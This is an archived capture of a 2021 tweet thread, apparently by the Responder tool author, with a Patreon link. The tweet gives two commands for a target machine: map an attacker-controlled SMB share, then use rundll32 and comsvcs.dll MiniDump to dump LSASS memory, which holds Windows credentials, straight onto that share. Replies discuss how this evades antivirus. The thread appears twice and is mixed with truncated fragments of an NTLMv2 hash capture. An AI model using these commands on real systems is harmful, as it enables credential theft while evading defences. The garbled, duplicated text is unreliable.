




## Responder

@PythonResponder

Collecting your cracker tool on Patreon:

[patreon.com/pythonresponder](https://patreon.com/pythonresponder)  
[paypal.me/PythonResponder](https://paypal.me/PythonResponder)

 127.0.0.1

 [github.com/lgh0x](https://github.com/lgh0x)

 Joined January 2017

Responder  
@PythonResponder  
Follow

Remote LSASS dump without touching local disk? Yes :)  
On target run:  
1) net use x:  
\\smbserver\_under\_your\_control\c\$\  
2) powershell -c rundll32.exe  
C:\windows\System32\comsvcs.dll  
MiniDump (Get-Process lsass).id  
x:\lassdump.bin full

7:54 PM - 21 Apr 2021

401 Retweets 1,237 Likes




9 401 1.2K

**Joe** @jsark983 · 21 Apr 2021  
Replying to @PythonResponder  
So this avoids literally any possible interaction with disk? I prefer Lsassy for internal PTs, but is this stealthier? I'm no PS guru but this looks like it could hit disk

**Responder** @PythonResponder · 21 Apr 2021  
LSASS dump might get deleted right after it is written, since it's suspicious activity. With that trick, the AV can't delete it, since it's not written on the local disk.

 **Haalim** @Haalim1337 · 21 Apr 2021  
Replying to @PythonResponder  
Nice trick 😊

This Tweet is unavailable.

 **fulcrum** @fulc2um · 22 Apr 2021

I've noticed that in latest versions of windows you can't simply do that, as the anonymous connections to smb share is a suspicious activity. So you need authenticate yourself first (with any creds) and net use provides the functionality. Please correct me, if I'm wrong

**Donny** @dmred1 · 21 Apr 2021  
Replying to @PythonResponder  
So it's about not touching disk ? Nice ! But comsvcs and minidump 🤔 a red flag !

**Responder** @PythonResponder · 21 Apr 2021  
Goal is to do that with MultiRelay :)

6 captures

22 Apr 2021 - 5 Feb 2022

JUN 2021

FEB 05 2022

MAR 2023

2021

2022

2023

About this capture

[+]SMB-NTLMV2 hash

Domain is : WIN-2QR

User is : lgandx

[+]SMB complete has

2D8640000000002000A

002C005300450

C0008003000

000009001

Share rec

LLMNR poi

Responder

@PythonRespon

Collecting your cr

tool on Patreon:

patreon.com/pyth

paypal.me/Pythor

127.0.0.1

github.com/lga

Joined Januar

Responder

@PythonResponder

Remote LSASS dump without touching local disk? Yes :)  
On target run:  
1) net use x:  
\\smbserver\_under\_your\_control\\c\$\  
2) powershell -c rundll32.exe  
C:\\windows\\System32\\comsvcs.dll  
MiniDump (Get-Process lsass).id  
x:\\lassdump.bin full

7:54 PM - 21 Apr 2021

401 Retweets

1,237 Likes

9

401

1.2K

Joe

@jsark983

· 21 Apr 2021

Replying to [@PythonResponder](#)

So this avoids literally any possible interaction with disk? I prefer Lsassy for internal PTs, but is this stealthier? I'm no PS guru but this looks like it could hit disk

1

401

5

Responder

@PythonResponder

· 21 Apr 2021

LSASS dump might get deleted right after it is written, since it's suspicious activity. With that trick, the AV can't delete it, since it's not written on the local disk

1

401

13

Show replies

Haalim

@Haalim1337

· 21 Apr 2021

Replying to [@PythonResponder](#)

Nice trick 😊

401

1

This Tweet is unavailable.

fulcrum

@fulc2um

· 22 Apr 2021

I've noticed that in latest versions of windows you can't simply do that, as the anonymous connections to smb share is a suspicious activity. So you need authenticate yourself first (with any creds) and net use provides the functionality. Please correct me, if I'm wrong

401

3

Donny

@dmred1

· 21 Apr 2021

Replying to [@PythonResponder](#)

So it's about not touching disk ? Nice ! But comsvcs and minidump 🤔 a red flag !

1

401

1

Responder

@PythonResponder

· 21 Apr 2021

Goal is to do that with MultiRelay :)

401